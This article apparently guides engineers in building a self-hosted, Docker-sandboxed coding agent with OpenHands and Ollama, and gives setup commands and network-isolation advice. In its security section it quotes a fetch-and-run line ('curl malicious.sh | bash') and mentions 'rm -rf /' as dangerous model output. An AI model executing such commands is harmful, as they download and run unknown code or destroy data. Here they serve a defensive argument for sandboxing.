Self-Hosted Agentic Software Factory: A Blueprint for Engineers

The Raw Build: What Actually Happened

A solo developer set out to answer a deceptively simple question: can you build a fully autonomous coding agent that runs entirely on your own hardware, without sending a single token to OpenAI or Anthropic? The result is an (almost) fully self-hosted, sandboxed agentic software factory that takes a natural language prompt and produces working code inside a locked-down container.

The stack isn’t magic—it’s a pragmatic assembly of open-source components. At the center sits OpenHands, an AI agent framework that orchestrates the coding loop. It’s backed by a local LLM (Large Language Model) served via Ollama, and all code execution happens inside a Docker sandbox. The developer bolted on a web UI, a planning module, and a browser-based evaluation tool to watch the agent work in real time.

The key constraint: everything runs on a single Linux box with a consumer GPU. No cloud APIs. No per-token billing. Just raw, local inference.

The project mirrors a growing obsession in the engineering community: reclaiming sovereignty over AI tooling. It’s not just about privacy—it’s about determinism, cost control, and understanding the damn thing end-to-end.

Why This Architecture Matters for Forward Deployed Engineers

If you’re a Forward Deployed Engineer (FDE)—or aspiring to become one—this architecture should make you lean forward. FDEs operate in the messy gap between a product’s clean API surface and an enterprise customer’s tangled reality. You’re often building custom integrations, debugging model behavior on proprietary data, or prototyping features that can’t leave a customer’s VPC.

A self-hosted agentic factory is your ultimate swiss army knife in those scenarios:

• Air-gapped environments: Defense, finance, and healthcare customers often mandate that no data leaves their network. A local agent that can reason about code without phoning home is a hard requirement, not a nice-to-have.
• Cost predictability: When you’re iterating on a customer-specific feature, burning through $20 in API credits per debugging session is a fast way to blow your engagement margin. Local inference has a fixed hardware cost.
• Deterministic debugging: Cloud models get silently updated. A prompt that worked yesterday might fail today because the model weights shifted. A pinned local model gives you a reproducible environment.

The skills required to assemble this factory—containerization, model serving, agent orchestration, security sandboxing—are exactly the skills that separate senior FDEs from junior ones. As we’ve covered in our breakdown of the FDE interview loop, demonstrating hands-on infrastructure fluency is a massive differentiator in technical rounds.

The Factory Floor: Deconstructing the Architecture

Let’s walk the assembly line. The system can be broken into five interconnected modules, each with a distinct responsibility.

1. The Orchestrator: OpenHands

OpenHands (formerly OpenDevin) is the brain stem. It manages the agentic loop: receive a task, generate a plan, produce code, execute it, observe the output, and iterate. It’s model-agnostic, which is why it can point to a local Ollama endpoint instead of the OpenAI API. The framework handles prompt construction, tool use (file editing, terminal commands), and context window management.

2. The Engine: Ollama + Local LLM

This is where the silicon meets the tokens. Ollama serves a quantized open-weight model—likely something in the Llama 3 or Qwen 2.5 family—on a local GPU. The critical insight here: you don’t need a 405B parameter monster. A well-prompted 7B or 13B model can handle structured code generation tasks surprisingly well, especially when the agent framework provides strong guardrails and a tight feedback loop.

3. The Planner

Before writing a single line of code, the agent generates a structured plan. This isn’t just a chain-of-thought preamble—it’s a separate module that decomposes the high-level prompt into discrete, executable subtasks. For complex software engineering tasks, this planning step drastically reduces the rate of the agent painting itself into a corner.

4. The Sandbox (Docker)

Every shell command, every pip install, every npm run build happens inside an isolated Docker container. This is the security keystone. The agent gets a virtual filesystem and network access that can be restricted or disabled entirely. If the model hallucinates rm -rf /, it nukes a throwaway container, not your host OS.

5. The Evaluator (Browser-Based)

For tasks that produce a web UI, the system spins up a headless browser inside the sandbox and streams the rendered output back to the developer. This visual feedback loop lets you watch the agent build a React component, see it render, spot the CSS bug, and then watch the agent fix it—all without leaving your terminal.

The Sandbox Security Model: Trapping the Agent

Let’s talk about the elephant in the room: giving an LLM a shell is terrifying. The source project’s sandboxing approach is the most important detail for any engineer considering deploying this in a professional context.

The architecture uses a two-layer isolation strategy:

1. Docker containerization: The agent runs inside a container with no access to the host’s Docker socket. This prevents a trivial container escape. The container gets a tmpfs mount for scratch work, meaning all writes are ephemeral unless explicitly persisted.
2. Network policy: The sandbox container can be launched with --network none, cutting off all outbound connectivity. For tasks that need package downloads, a brief network window can be opened during a defined "setup phase," then slammed shut before the agent begins autonomous execution.

This isn’t theoretical security theater. We’ve seen what happens when LLMs generate dangerous code. As we explored in our piece on sanitizing LLM code output, models will happily generate subprocess.run("curl malicious.sh | bash") if it matches the statistical patterns in their training data. The sandbox is your last line of defense.

For FDEs deploying agentic systems at enterprise customers, this sandboxing model is table stakes. Security review boards will ask exactly these questions: "Can the agent exfiltrate data? Can it modify the host? Can it reach internal services?" A well-architected Docker sandbox gives you clean, auditable answers.

How to Build Your Own: A Practical Implementation Guide

Let’s get concrete. Here’s how to stand up a minimal version of this factory on your own machine this weekend.

Prerequisites

• A Linux machine (Ubuntu 22.04 recommended) with at least 16GB RAM
• An NVIDIA GPU with 8GB+ VRAM (or Apple Silicon with sufficient unified memory)
• Docker and the NVIDIA Container Toolkit installed

Step 1: Serve a Local Model with Ollama

# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh

# Pull a capable coding model (Qwen 2.5 Coder 7B is a strong starting point)
ollama pull qwen2.5-coder:7b

# Verify it's running
ollama run qwen2.5-coder:7b "Write a Python function to merge two sorted lists"

Step 2: Deploy OpenHands

# Clone the repository
git clone https://github.com/All-Hands-AI/OpenHands.git
cd OpenHands

# Configure for local Ollama
export LLM_API_KEY="ollama"
export LLM_BASE_URL="http://host.docker.internal:11434"
export LLM_MODEL="qwen2.5-coder:7b"

# Launch with Docker
docker compose up -d

Step 3: Configure the Sandbox

Create a dedicated Docker network with restricted egress:

docker network create \
  --driver bridge \
  --internal \
  agent-sandbox-net

Modify OpenHands’ config.toml to use this network and mount a specific workspace directory:

[sandbox]
network = "agent-sandbox-net"
workspace_mount = "/home/user/agent-workspace"
enable_webbrowser = true

Step 4: Test the Loop

Navigate to http://localhost:3000 and give the agent a task:

"Create a Python Flask app with a single /health endpoint that returns JSON. Write it to a file called app.py."

Watch the agent plan, code, execute, and iterate. Check your workspace directory for app.py.

The "Almost" in "Almost Fully Self-Hosted"

The original project’s title is honest: there’s one component that resists self-hosting—the browser-based evaluator often relies on a headless Chromium that pulls from external registries. And if you’re using OpenHands’ default embeddings for retrieval, those might hit an external endpoint. True 100% air-gap requires a local embeddings model and a locally cached browser image, both of which are achievable with extra legwork.

A Balanced Take: The Sharp Edges of Local Agency

Let’s not romanticize this. Running an agentic coding factory on local hardware is not a drop-in replacement for Claude or GPT-4. Here’s the unvarnished reality:

What Works Well

• Well-scoped, code-heavy tasks: Writing API endpoints, generating boilerplate, refactoring functions with clear signatures.
• Iterative debugging with visual feedback: The agent sees the browser output and corrects itself. This tight loop compensates for the weaker base model.
• Reproducible, auditable runs: Every action is logged locally. You can replay the entire session.

Where It Falls Down

• Complex architectural reasoning: A 7B model doesn’t have the same "taste" as a frontier model. It’ll produce working code, but it might miss the elegant abstraction.
• Long-horizon tasks: Context windows on local models are shorter, and the agent can lose the thread on tasks spanning dozens of steps.
• Inference speed: Unless you’re running on a high-end GPU, token generation is noticeably slower than API calls to a massive hosted cluster.

For FDEs, the pragmatic stance is: use local agents for sensitive, repetitive, or cost-sensitive workloads; fall back to cloud models for complex architectural design. This hybrid approach is exactly what we see winning in the field. In our case study on deploying LLM features at enterprise speed, the winning pattern was local prototyping followed by cloud-powered refinement—never a dogmatic commitment to one stack.

FAQ: Hardware, Hallucinations, and Hard Limits

What’s the minimum viable GPU for this?

An NVIDIA RTX 3060 with 12GB VRAM is the realistic floor. It can run a quantized 7B model at acceptable speed. For 13B models, aim for 16GB+ VRAM. Apple M2/M3 MacBooks with 16GB+ unified memory also work surprisingly well, though token/second throughput is lower.

How do you prevent the agent from installing malware during pip install?

The sandbox container runs with --network none during autonomous execution. If packages are required, pre-install them during a supervised setup phase, then cut network access. Additionally, use a requirements.txt allowlist and hash-checking.

Can this work for non-Python languages?

Yes. The agent can use any toolchain installed in the sandbox image. Pre-build a Docker image with Node.js, Go, or Rust toolchains, and the agent will use whatever is available in its $PATH.

How does this compare to GitHub Copilot or Cursor?

Those tools are autocomplete-plus on steroids; this is an autonomous agent. Copilot suggests the next line; this factory writes the entire file, runs the tests, and fixes the failures. The tradeoff is speed and reliability—Copilot is faster and more polished, but it can’t operate independently in an air-gapped environment.

What’s the biggest skill gap for engineers wanting to build this?

Docker fluency and LLM serving fundamentals. If you’ve only ever used Docker through a CI pipeline and never configured custom networks or seccomp profiles, expect a learning curve. This is precisely the kind of infrastructure depth that distinguishes senior FDEs—and it’s a muscle you build by doing, not by reading. If you’re preparing for technical interviews, our guide on Salesforce FDE interview questions shows how heavily these practical infrastructure skills are weighted.

Is this production-ready?

For internal tooling and prototyping, absolutely. For customer-facing production systems, treat it as a powerful accelerator for your own workflow, not as a replacement for a human-in-the-loop. The agent will produce code faster than you can type, but you should still review every line before it touches a production environment.

---

The original exploration by Jake Saunders can be found here.